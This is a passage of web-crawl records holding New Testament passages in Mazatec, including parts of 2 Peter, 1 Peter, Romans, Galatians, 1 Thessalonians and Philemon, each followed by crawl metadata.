kjoa̱jeya‑la̱ nga 'ñó tse nga'ñó tjín‑la̱. 17Ki'ya‑náje̱n k'e̱ jè Nainá xi Na̱'èn‑ná nga jeya ko̱ 'nga kisìkíjna Jesucristo. Kina'yà‑la̱ ya̱ i̱jiìn i̱sén ñánda 'ñó ote kji 'én xi kitsò: \"Jè jèe̱ xi ki'ndí‑na̱ xi 'ñó matsjake̱ nga xó 'a̱n jaàjiìn‑na.\" 18Ngaje̱n sobà kina'yà‑la̱je̱n jñà 'én xi ngajmiì inchrobà‑ne k'e̱ nga titsa̱jnako̱‑je̱n Jesucristo ya̱ i̱sò'nga nindoò tsjeè‑la̱. 19Nga yije kjoa̱ koi, k'oa̱á s'ín ìsa̱ ndaà makixi̱ya koni s'ín kiìchja̱ jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 'Ñó ndaà 'nè nga na'yà‑la̱ 'én koi. K'oa̱á s'ín ngaya‑la̱ koni jngoò ni'ín xi síhiseèn ya̱ i̱'nde ñánda jñò choòn skanda k'e̱ nga s'e̱ i̱sén, i̱kjoàn síhiseèn‑jiìn ini̱ma̱‑ná koni jè ni'ño tse. 20Ítjòn k'oa̱ s'ín ndaà kàtasijiìn‑nò, jñà 'én xi tjít'aà Xo̱jo̱n‑la̱ Nainá, mìtsà ta jngoò xi̱ta̱ kitsjaà kjo̱hítsjeèn‑la̱ nga kitjei. 21Nga jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá, ni̱jngoò 'én xi ta̱ kjo̱hítsjeèn ts'e̱ nga kiìchja̱ya. Jé Ini̱ma̱ Tsjeè‑la̱ Nainá kisìkichi̱ya‑la̱ kjo̱hítsjeèn‑la̱ xi̱ta̱ koi nga komà kiìchja̱ya 'én‑la̱ Nainá.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASJV\/2Pet\/1","date":"2017-09-26T13:39:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818695726.80\/warc\/CC-MAIN-20170926122822-20170926142822-00361.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":585,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11'A̱n kjònangui‑ná, ¿a jngoò k'a chixòt'aà nangui jñà xi̱ta̱ Israel k'e̱ nga kisatèngui? Majìn. Mì k'oa̱á s'ín tjín kjoa̱. Jè kjoa̱‑la̱ nga mìkiì kisìkitasòn jñà xi̱ta̱ Israel, jñà kitjoé‑la̱ xi mìtsà xi̱ta̱ judío nga tsibìtsa̱jnandei̱í xi kjoa̱ ts'e̱ jé‑la̱. K'oa̱á s'ín komà mé‑ne nga jñà xi̱ta̱ judío kàtachi̱ni̱‑ne i̱t'aà ts'e̱ kjo̱ndaà‑la̱ Nainá.\nRomanos 11:11\nFREE!\nOne App.\n1257 Languages.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/11\/11","date":"2017-09-21T05:23:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818687642.30\/warc\/CC-MAIN-20170921044627-20170921064627-00438.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":57,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.351,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11Jñò ndí 'ndsè ko̱ ndí tichjaá, nga mì k'oa̱á s'ín tìhokoòya nga si̱t'aà chi̱ba̱‑la̱ xi̱ta̱ kjoa̱ ts'e̱ circuncisión, koií kjoa̱‑la̱ nga fìtji̱ngui kondra̱‑na jñà xi̱ta̱. Ta̱nga tsà mì k'oa̱s'ín okoòya, mì‑la kiì kji̱tji̱ngui kondra̱‑na, mì‑la ti̱ kiì ko̱jtikeè‑ne 'én xi chjàya i̱t'aà ts'e̱ krò‑la̱ Cristo.\nGálatas 5:11\nFREE!\nOne App.\n1,800+ Languages.","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/listen.bible.is\/MAASJV\/Gal\/5\/11","date":"2018-02-20T09:47:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812932.26\/warc\/CC-MAIN-20180220090216-20180220110216-00447.warc.gz","language":"maa","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"maa_Latn_score\": 1.0000054836273193}","num_words":50,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.22,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Xo̱jo̱n carta xi ma‑ne jò xi kiskiì San Pedro\n1\nKó tsò Pedro nga síhixat'aà xi̱ta̱\n1 'A̱n, xi Simón Pedro 'mì‑na̱, nga 'a̱n xi chi̱'nda‑la̱ Jesucristo ma, ko̱ nga ti̱koa̱ 'a̱n tsibíxáya‑na̱, tìsìkasén‑nò xo̱jo̱n jè, jñò xi ngásòn 'ñó ndaà mokjeiín‑nò koni s'ín mokjeiín‑naje̱n; nga xi̱ta̱ kixi̱‑né jè Jesucristo xi Nainá ma ko̱ xi ochrjekàjiìn‑ná kjo̱'in. 2 Koni s'ín nga ìsa̱ ndaà titsa̱yaxkon Nainá ko̱ jè Jesucristo xi otíxoma‑ná, k'oa̱á s'ín ìsa̱ ndaà kàtasakó‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò.\nMé xi mochjeén nga s'e̱én nga ndaà jcha̱xkoán Nainá\n3 Jè nga'ñó‑la̱ Nainá tsjá yije‑ná xi mochjeén‑ná nga titsa̱jnakoaán ko̱ nga ndaà yaxkoán Nainá. Koií kjoa̱‑la̱ nga tsjá‑ná ngats'iì kjo̱ndaà koi nga yaxkoaán jè xi ko̱ kjoa̱jeya‑la̱ ko̱ nga'ñó tsjeè‑la̱ kiìchja̱‑ná. 4 I̱t'aà ts'e̱ kjoa̱ koi, kitsjaà‑ná kjoa̱ xi 'ñó ndaà tjín ko̱ xi 'ñó tse chjí‑la̱ koni s'ín kitsjaà tso'ba Nainá, mé‑ne nga ti̱koa̱ ko̱ko̱t'aà‑ná nga k'oa̱s'ín s'e̱én koni s'ín s'ín Nainá nga jye chinchat'aàxìn‑là kjoa̱ xi ch'o síjé yijo‑ná i̱ i̱sò'nde xi ta síkits'ón‑ná. 5 K'oa̱á ma‑ne, 'ñó tìnè‑là yijo‑nò jñà kjoa̱ koi. Koni s'ín nga mokjeiín‑nò i̱t'aà ts'e̱ Cristo, k'oa̱á ti̱s'ín mochjeén‑né nga ndaà xi̱ta̱ kàtama jñò. Nga jye ndaà xi̱ta̱ ma, ti̱koa̱ mochjeén‑né nga kàtas'e‑nò xi kjoa̱ chji̱ne̱. 6 Nga jye tjín‑nò kjoa̱ chji̱ne̱, ti̱koa̱á mochjeén‑né nga kixi̱ tatìxoma‑là yijo‑nò. Ko̱ nga jye kixi̱ otíxoma‑là yijo‑nò ti̱koa̱ mochjeén‑né nga s'e̱‑nò kjoa̱tsejta. Ko̱ nga jye tjín‑nò kjoa̱tsejta, ti̱koa̱á mochjeén‑né nga nguì ndaà cha̱xkón Nainá. 7 Nga jye ndaà yaxkón Nainá, ti̱koa̱ mochjeén‑né nga ndaà ti̱tsjacha xinguio̱o. Ko̱ nga jye ndaà matsjacha xinguio̱o, ti̱koa̱á mochjeén‑né nga nguì ndaà ti̱tsjacha ngats'iì xi̱ta̱ xi kj'ei̱í.\n8 Jñò, tsà tjín‑nò kjo̱ndaà koi, ko̱ tsà kjit'aà na̱chrjein tík'aasòn‑nò, mì jyò ki̱tsa̱jnaà; nguì ndaà ko̱chjeén‑nò nga ìsa̱á ndaà jcha̱xkoòn Jesucristo xi otíxoma‑ná. 9 Ta̱nga tsà tjín i'nga xi tsjìn‑la̱ kjo̱ndaà koi, k'oa̱á ngaya‑la̱ koni xi̱ta̱ xka̱n xi mìkiì ndaà tsejèn‑la̱; jyeé kijchàajiìn‑la̱ nga Nainá jye kisìjchàat'aà‑la̱ jé xi kis'e‑la̱ nga sa̱ ítjòn. 10 K'oa̱á ma‑ne, jñò, ndí 'ndsè, ìsa̱ 'ñó tjiì‑là nga'ñó yijo‑nò nga ti̱kixi̱yaà kjoa̱ nga Nainá xó k'oa̱á s'ín kiìchja̱‑nò ko̱ jaàjiìn‑nò. Tsà k'oa̱s'ín s'e̱en kjit'aà, ni̱mé jé ska̱jñoò. 11 Nga k'oa̱á s'ín ko̱ma nga táx'a̱'nde‑nò nga ki̱tjás'e̱en ñánda tíhotíxoma ni̱ta̱ kjé‑ne jè Jesucristo xi ochrjekàjiìn‑ná kjo̱'in ko̱ xi otíxoma‑ná.\n12 Koií kjoa̱‑la̱ kjit'aà na̱chrjein sìkítsjeèn yije‑nò kjoa̱ koi, na̱s'ín jye ma‑nò ko̱ jye kixi̱ titsa̱jnako̱o jè kjoa̱kixi̱‑la̱ Nainá koni s'ín mokjeiín‑nò na̱chrjein i̱'ndei̱. 13 K'e̱ nga tákó tìjna̱kon‑ìsa i̱ i̱sò'nde jè, mochjeén‑né nga síkítsjeèn‑nò nga ko̱s'ín ti̱jchá yijo‑nò. 14 Jè Jesucristo xi otíxoma‑ná jyeé k'oa̱s'ín kitsò‑na nga jyeé kjòchrañàt'aà nga kjoe̱het'aà na̱chrjein‑na̱. 15 Ti̱koa̱á 'a̱n tìbìnè‑la̱ yijo‑na̱ nga tísíkítsjeèn‑nò mé‑ne k'e̱ nga 'a̱n xi jye ki̱yá, nga na̱chrjein nchijòn k'oa̱á s'ín ti̱kítsjeèn kjoa̱ koi.\nÑánda j'iì‑ne 'én xi tjít'aà Xo̱jo̱n‑la̱ Nainá\n16 Nga mìtsà ta cuento xi ta xi̱ta̱ kisìkítsjeèn koni s'ín tsibeno̱jmí‑nòje̱n kó kji nga'ñó kis'e‑la̱ Na̱'èn‑ná Jesucristo ko̱ nga kjoi̱í ìjngoò k'a. Nga xko̱ón ki'ya‑naje̱n kjoa̱jeya‑la̱ nga 'ñó tse nga'ñó tjín‑la̱. 17 Ki'ya‑náje̱n k'e̱ jè Nainá xi Na̱'èn‑ná nga jeya ko̱ 'nga kisìkíjna Jesucristo. Kina'yà‑la̱ ya̱ i̱jiìn i̱sén ñánda 'ñó ote kji 'én xi kitsò: \"Jè jèe̱ xi ki'ndí‑na̱ xi 'ñó matsjake̱ nga xó 'a̱n jaàjiìn‑na.\" 18 Ngaje̱n sobà kina'yà‑la̱je̱n jñà 'én xi ngajmiì inchrobà‑ne k'e̱ nga titsa̱jnako̱‑je̱n Jesucristo ya̱ i̱sò'nga nindoò tsjeè‑la̱.\n19 Nga yije kjoa̱ koi, k'oa̱á s'ín ìsa̱ ndaà makixi̱ya koni s'ín kiìchja̱ jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. 'Ñó ndaà 'nè nga na'yà‑la̱ 'én koi. K'oa̱á s'ín ngaya‑la̱ koni jngoò ni'ín xi síhiseèn ya̱ i̱'nde ñánda jñò choòn skanda k'e̱ nga s'e̱ i̱sén, i̱kjoàn síhiseèn‑jiìn ini̱ma̱‑ná koni jè ni'ño tse. 20 Ítjòn k'oa̱ s'ín ndaà kàtasijiìn‑nò, jñà 'én xi tjít'aà Xo̱jo̱n‑la̱ Nainá, mìtsà ta jngoò xi̱ta̱ kitsjaà kjo̱hítsjeèn‑la̱ nga kitjei. 21 Nga jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá, ni̱jngoò 'én xi ta̱ kjo̱hítsjeèn ts'e̱ nga kiìchja̱ya. Jé Ini̱ma̱ Tsjeè‑la̱ Nainá kisìkichi̱ya‑la̱ kjo̱hítsjeèn‑la̱ xi̱ta̱ koi nga komà kiìchja̱ya 'én‑la̱ Nainá.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/ebible.org\/maaNT\/2PE01.htm","date":"2018-12-10T03:51:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376823303.28\/warc\/CC-MAIN-20181210034333-20181210055833-00422.warc.gz","language":"maa","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"maa_Latn_score\": 1.0000073909759521}","num_words":614,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Xo̱jo̱n carta xi kiskiì ítjòn San Pedro\n1\nKó tsò Pedro nga síhixat'aà xi̱ta̱\n1 'A̱n xi 'mì‑na̱ Pedro, nga 'a̱n tsibíxáya‑na Jesucristo, sìhixat'aà‑nò ngats'ioò xi xó jaàjiìn‑nò Nainá nga mì ti̱ nangui‑nò titsa̱jna‑nò nga xki̱ xi ján na̱xa̱ndá kitsjohoya ya̱ nangui Ponto, Galacia, Capadocia, Asia ko̱ Bitinia; 2 jñò xi xó kitjaàjiìn‑nò, koni s'ín jye tjíndaà‑la̱ xi kjo̱hítsjeèn‑la̱ Nainá xi Na̱'èn‑ná ma, nga jè Ini̱ma̱ Tsjeè‑la̱ k'oa̱á s'ín kisìko̱‑nò nga nguì xi̱ta̱‑la̱ Nainá ma, mé‑ne nga si̱kitasòn‑là Jesucristo ko̱ mé‑ne ma xíxteèn‑jno‑nò jní‑la̱ nga matsjeèya ini̱ma̱‑nò kjoa̱ ts'e̱ jé‑nò. Tseé kjo̱ndaà ko̱ kjoa̱'nchán kàtas'e‑la̱ ini̱ma̱‑nò.\nKjo̱tjò xi chiñàkjoa̱‑lá xi tíjnatjò‑la̱ Nainá ján ngajmiì\n3 Jeya kàtìjna Nainá xi Na̱'èn‑la̱ Jesucristo xi otíxoma‑ná. 'Ñó tse kjoa̱hi̱ma̱takòn tjín‑la̱: koni s'ín jaáya‑la̱ Jesucristo kjoa̱ ts'e̱ kjoa̱biyaà, k'oa̱á kisìko̱‑ná Nainá nga kits'in xi̱tse̱ ìjngoò k'aá mé‑ne nga kjit'aà na̱chrjein chíñakjoa̱á 4 nga tsjá‑ná kjo̱tjò xi jè tíjnatjò‑la̱ ján ngajmiì, kjo̱tjò xi mìkiì bits'on ni̱ta̱ kjé‑ne, mìkiì bi'ndo ko̱ mìkiì bixòña. Kjo̱tjò jè, jñá tjoé‑ná. 5 Ta nga̱tjì‑la̱ nga mokjeiín‑ná i̱t'aà ts'e̱ Nainá, jè nga'ñó‑la̱ síkinda̱‑ná skanda k'e̱ nga ki̱tjokàjñaá kjo̱'in koni s'ín tjíndaà‑la̱ Nainá k'e̱ nga jye kjoe̱het'aà na̱chrjein.\n6 Koií kjoa̱‑la̱, jñò, 'ñó tsja tjín‑nò, na̱s'ín tjín i'nga na̱chrjein nga makájno‑nò nga kjìn ska̱ya kjo̱'in nìkjioón. 7 K'oa̱á ma‑ne nga kjo̱'in nìkjioón nga ma chít'aà‑nò tsà ndaà mokjeiín‑nò. K'oa̱á ngaya‑la̱ koni jè oro, mochjeén‑né nga ko̱ ni'ín ko̱tsjeèya‑ne. Ko̱ jè kjoa̱ nga mokjeiín‑nò ìsa̱á 'ñó chjí‑la̱ mì k'oa̱á‑ne koni jè oro xi bits'ón‑ya. Jñò, k'e̱ nga jye chít'aà‑nò koni s'ín mokjeiín‑nò, jeyaá ki̱tsa̱jnaà, 'ngaá ki̱tsa̱jnaà ko̱ jcha̱xkón‑nò k'e̱ nga kjoi̱í ìjngoò k'a Jesucristo.\n8 Jñò, matsjacha‑nò Jesucristo, na̱s'ín mìkiì kiyaxkoòn. Mokjeiín‑nò i̱t'aà ts'e̱, na̱s'ín mìkiì titsa̱'yaà. 'Ñó tsja ma‑nò skanda tsjìn 'én xi ma s'e̱no̱jmí nga 'ñó tjín‑nò kjo̱tsja. 9 Koií kjoa̱‑la̱ nga matsja‑nò nga jye titsa̱bitjokàjñoò kjo̱'in ta nga̱tjì‑la̱ nga mokjeiín‑nò i̱t'aà ts'e̱ Cristo.\n10 Jè kjoa̱ nga bitjokàjñoò kjo̱'in, jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá kjòtseé, kiskoòta'yàko̱‑né ti̱koa̱á kiskònanguiya‑né, i̱kjoàn kiìchja̱ya jè kjo̱ndaà xi tsjá‑nò Nainá. 11 Jñà xi̱ta̱ koi, jè Ini̱ma̱‑la̱ Cristo kisìkichi̱ya ítjòn‑la̱ mé kjo̱'in xi si̱ìkjeiín Cristo ko̱ kjoa̱ jeya xi s'e̱‑la̱ k'e̱ nga ko̱ma i̱skan. Kiskònanguiya‑né mé na̱chrjein‑ne nga k'oa̱s'ín ko̱mat'in koa̱ kós'ín ko̱ma. 12 Ta̱nga jè Nainá kisìkichi̱ya‑la̱ nga mìtsà kjo̱ndaà ts'e̱ nga ko̱s'ín kis'eno̱jmí‑la̱ 'én koi; kjo̱ndaà tsa̱jòn‑nò. Ko̱ jñà 'én koi, ti̱jñà‑ne 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi tís'eno̱jmí‑nò na̱chrjein i̱'ndei̱. Nga ti̱jé‑ne Ini̱ma̱ Tsjeè‑la̱ Nainá xi ngajmiì nchrobá‑ne tsjá‑la̱ nga'ñó jñà xi̱ta̱ xi béno̱jmí‑nò. Skanda jñà àkja̱le̱, mejèn‑la̱ skoe̱ kjoa̱ koi.\nMochjeén‑né nga tsjeè si̱jchá yijo‑ná\n13 Koií kjoa̱‑la̱ jñò, titsa̱jnandaà, ndaà ti̱kítsjeèn, nguì ndaà chíñakjoa̱‑là kjo̱ndaà xi tjoé‑nò k'e̱ nga kjoi̱í ìjngoò k'a Jesucristo. 14 K'oa̱s'ín ndaà ti̱jchá yijo‑nò koni i̱xti xi ndaà 'nchréñijon. Kì k'oa̱ ti̱s'ín 'nè‑nò koni s'ín ki'nè nga sa̱ ítjòn nga ch'o tjín kjoa̱ xi kisìjé yijo‑nò k'e̱ nga ti̱kj'eè ndaà yaxkoòn Nainá. 15 Ta̱ sa̱á tsjeè ti̱jchá yijo‑nò ngats'iì kjoa̱ xi 'nè, nga jè Nainá xi xó kiìchja̱‑nò, xi̱ta̱ tsjeè‑né. 16 Nga jè Xo̱jo̱n‑la̱ Nainá, k'oa̱á s'ín tíchja̱ nga tsò: \"Jñò, xi̱ta̱ tsjeè kàtama, nga 'a̱n, xi̱ta̱ tsjeè‑ná.\"\n17 Jñò, tsà Na̱'èn 'mì‑là Nainá xi ta ngásòn tífìko̱ ngats'iì xi̱ta̱ k'e̱ nga bìndaàjiìn‑la̱ ni̱ta̱ mé kjoa̱ xi s'ín, mochjeén‑né nga kjit'aà na̱chrjein ndaà jcha̱xkón nga i̱ titsa̱jnaà i̱sò'nde nga mìtsà i̱ nangui‑nò. 18 Jñò, jyeé ndaà tíjiìn‑nò nga mìtsà tsojmì xi ma‑la̱ bits'on kjòchjítjì‑nò nga ma titsa̱jnandei̱í‑nò ngats'iì kjoa̱ ch'o xi ni̱mé chjí‑la̱ koni s'ín tsakó‑nò xi̱ta̱ jchínga‑nò. Mìtsà to̱n oro ko̱ to̱n plata kjòchjítjì‑nò. 19 Jè jní‑la̱ Cristo xi 'ñó tse chjí‑la̱ kjòchjítjì‑nò. Cristo kitsjaà kjo̱tjò yijo‑la̱ nga k'en‑t'aà krò koni jngoò orrè xi tsjeè kji, xi ni̱mé ch'in tjít'aà yijo‑la̱. 20 Ti̱k'e̱‑ne nga ti̱kj'eè sindaà i̱sò'nde, Cristo, k'oa̱á s'ín kisinè‑la̱ kjoa̱ xi si̱ìkitasòn. Ta̱nga jè na̱chrjein xi titsa̱jnaá i̱'ndei̱ ki'ya‑la̱ nga j'iì Cristo nga kisìkitasòn kjoa̱ xi kisinè‑la̱ xi kjo̱ndaà tsa̱jòn. 21 Xi i̱t'aà ts'e̱ Cristo, jñò mokjeiín‑nò i̱t'aà ts'e̱ Nainá; nga jè kisìkjaáya‑la̱ i̱t'aà ts'e̱ kjoa̱biyaà, ti̱koa̱ kitsjaà‑la̱ kjoa̱ jeya; k'oa̱á ma‑ne nga mokjeiín‑nò ko̱ chiñà nga si̱ìkitasòn Nainá koni s'ín kitsjaà‑nò tso'ba.\n22 Jè ini̱ma̱‑nò, jyeé kjòtsjeè, koií kjoa̱‑la̱ nga nìkitasòn koni tsò 'én kixi̱‑la̱ Nainá mé‑ne nga kixi̱ si̱tjòchaà xinguio̱o. K'oa̱á ma‑ne nga mochjeén‑né nga 'ñó ndaà ti̱tsjacha xinguio̱o nga tsjeè tjín ini̱ma̱‑nò. 23 Jñò, ìjngoò k'a kits'iìn xi̱tse̱ ìjngoò k'a‑nò. Ta̱nga mìtsà tje̱‑la̱ xi̱ta̱ xi biyaà kits'iìn‑nò, jè tje̱‑la̱ Nainá xi mìkiì biyaà kits'iìn‑nò. Nga̱ jè 'én‑la̱ Nainá xi tíjnakon ko̱ xi mìkiì fehet'aà ni̱ta̱ kjé‑ne kits'iìn ìjngoò k'a‑nò. 24 Nga k'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò:\nNgats'iì xi̱ta̱, k'oa̱á s'ín ngaya‑la̱ koni xka̱ ijñá;\nkjoa̱jeya‑la̱ xi̱ta̱, k'oa̱á s'ín ngaya‑la̱ koni naxó‑la̱ xka̱ ijñá;\njñà xka̱ ijñá, xì‑né; i̱kjoàn bixòjen naxó‑la̱.\n25 Ta̱nga jè 'én‑la̱ Nainá tíjna‑né ni̱ta̱ kjé‑ne.\n'Én jè, jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi jye kis'eno̱jmí‑nò.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/ebible.org\/maaNT\/1PE01.htm","date":"2018-12-14T05:52:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376825363.58\/warc\/CC-MAIN-20181214044833-20181214070333-00037.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":759,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.289,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Xo̱jo̱n carta‑la̱ San Pablo xi kiskiì ítjòn‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi títsa̱jna Tesalónica\n1\nKó tsò Pablo nga síhixat'aà jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi títsa̱jna Tesalónica\n1 Jñò xi xi̱ta̱ na̱xa̱ndá‑la̱ Nainá maà xi titsa̱jnaà ya̱ na̱xa̱ndá Tesalónica nga ya̱ titsa̱jnakjoòko̱o Nainá xi Na̱'èn‑ná ko̱ jè Jesucristo xi otíxoma‑ná, 'a̱n xi 'mì‑na Pablo titsa̱nìhixot'aà‑nòje̱n ko̱ Silvano [ti̱jé‑ne xi 'mì Silas] ko̱ Timoteo. Nainá kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò.\nKó tsò Pablo nga tsjá‑la̱ kjo̱ndaà Nainá\n2 K'e̱ nga nokjoàt'aà‑la̱je̱n Nainá, kjit'aà na̱chrjein 'biì‑la̱je̱n kjo̱ndaà i̱t'aà tsa̱jòn. 3 Bítsjeèn‑naje̱n nga nguixko̱n Nainá xi Na̱'èn‑ná koni s'ín nga titsa̱nìxá, koií kjoa̱‑la̱ nga mokjeiín‑nò i̱t'aà ts'e̱ Cristo, ti̱koa̱ ndaà nìxá‑là xi̱ta̱ xi kj'ei̱í nga matsjacha, nga ti̱koa̱ kixi̱ titsa̱jnaà nga titsa̱chiñà‑là Jesucristo xi otíxoma‑ná. 4 Ndí 'ndsè, Nainá matsjakeè‑nò. 'Ya‑náje̱n nga xó k'oa̱s'ín jaàjiìn‑nò nga xi̱ta̱ na̱xa̱ndá‑la̱ ko̱maà. 5 Nga jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi tsibèno̱jmí‑nòje̱n, mìtsà ta 'én tsa̱je̱n xi kinokjoáko̱‑nòje̱n. Jè Ini̱ma̱ Tsjeè‑la̱ Nainá kitsjaà‑naje̱n nga'ñó, ko̱ ti̱koa̱ 'ñó ndaà kjòchi̱ya‑naje̱n nga nguì kixi̱ kjoa̱. Jñò, ndaà ki'yaà k'e̱ nga ya̱ tsakítsa̱jna‑je̱n, ndaà kinìchját'aà‑nòje̱n xi kjo̱ndaà tsa̱jòn.\n6 Jñò, k'oa̱á s'ín ki'nè koni s'ín ki'nè‑je̱n ko̱ koni s'ín s'ín Cristo. Jè Ini̱ma̱ Tsjeè‑la̱ Nainá kitsjaà‑nò kjo̱tsja nga komà kichjoétjò 'én‑la̱ Nainá na̱s'ín 'ñó tse kjo̱'in tsatojioòn. 7 K'oa̱á ma‑ne jñò tsakoò jngoò‑là kjoa̱ xi ndaà tjín nga kiskinguì ngats'iì xi̱ta̱ xi jye kòkjeiín‑la̱ 'én‑la̱ Nainá ya̱ nangui Macedonia ko̱ Acaya. 8 Nga ya̱á kjòts'ia̱‑ne i̱t'aà tsa̱jòn nga tsabísòn jè 'én ndaà‑la̱ Na̱'èn‑ná; mìtsà tà ya̱ nangui Macedonia ko̱ Acaya; xki̱ xi ján kina'yà‑la̱ nga jñò, ndaà mokjeiín‑nò i̱t'aà ts'e̱ Nainá. K'oa̱á ma‑ne nga mì ti̱ kiì mochjeén‑ne nga ngaje̱n kéno̱jmí‑la̱je̱n xi̱ta̱ i̱t'aà tsa̱jòn, nga jyeé beè‑nò xi̱ta̱. 9 Nga̱ ti̱jñà béno̱jmí‑ne nga ndaà kichjoétjò‑náje̱n k'e̱ nga ijchochoòn‑nòje̱n. Ti̱koa̱á tsò‑né nga jñò jyeé kinìkíjna kjoa̱ ts'e̱ xkósòn. I̱'ndei̱ jyeé ya̱ tjaàt'aà‑là xi nguì jè sobà Nainá xi kixi̱ kjoa̱ nga tíjnakon. 10 Ti̱koa̱á béno̱jmí‑né nga titsa̱chiñà‑là Ki'ndí‑la̱ Nainá nga ki̱tjojen ìjngoò k'a‑ne ngajmiì, jè xi ti̱jè‑ne Jesús xi Nainá kisìkjaáya‑la̱ k'e̱ nga k'en, nga jè‑né xi ko̱chrjekàjiìn‑ná kjo̱'in ts'e̱ kjoa̱jti‑la̱ Nainá xi sa̱ nchrobá.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/ebible.org\/maaNT\/1TH01.htm","date":"2018-12-14T19:10:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376826306.47\/warc\/CC-MAIN-20181214184754-20181214210754-00228.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":337,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.344,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Xo̱jo̱n carta‑la̱ San Pablo xi kiskiì‑la̱ Filemón\n1\nKó tsò Pablo nga síhixat'aà Filemón\n1 Ji̱ Filemón xi ndaà matsjake̱‑lè xi ngásòn xá‑la̱ Na̱'èn‑ná titsa̱'né, 'a̱n Pablo nga nda̱yá tìjna̱a'ya k'oi̱í kjoa̱‑la̱ nga xá‑la̱ Cristo tìs'iaàn, tisìhixat'aà‑lè ko̱ 'ndsè Timoteo. 2 Ti̱koa̱á tisìhixat'aà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi ya̱ bixoña ni'ya‑lè ko̱ tichjaá Apia ko̱ 'ndseé Arquipo xi ti̱koa̱ xá‑la̱ Nainá nchikjaán‑tji koni 'a̱n. 3 Nainá xi Na̱'èn‑ná, ko̱ jè Jesucristo xi otíxoma‑ná kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò.\nKjoa̱tjòcha xi tjín‑la̱ Filemón\n4 K'e̱ nga chjàt'aà‑la̱ Nainá, kjit'aà na̱chrjein sìkítsjeèn i̱t'aà tsi̱ji, k'oa̱á ma‑ne nga tsjaà‑la̱ kjo̱ndaà Na̱'èn‑ná, 5 Koií kjoa̱‑la̱ nga jyeé ki'nchrè nga ndaà mokjeiín‑lè i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo ti̱koa̱ ndaà matsjachi ngats'iì xi̱ta̱‑la̱ Nainá. 6 K'oa̱á s'ín sìjét'aà‑la̱ Nainá nga ndaà ki̱tasòn koni s'ín nokjoàkoi̱i xi̱ta̱ xi i'nga i̱t'aà ts'e̱ kjoa̱ xi mokjeiín‑lè mé‑ne nga ìsa̱ ndaà jcha̱xkoin ngats'iì kjo̱ndaà xi ko̱ma si̱kitasoán i̱t'aà ts'e̱ Cristo. 7 Ji̱ ndí 'ndsè, 'ñó tsja ma‑na ko̱ ma'ñó takoàn i̱t'aà ts'e̱ kjoa̱tjòcha 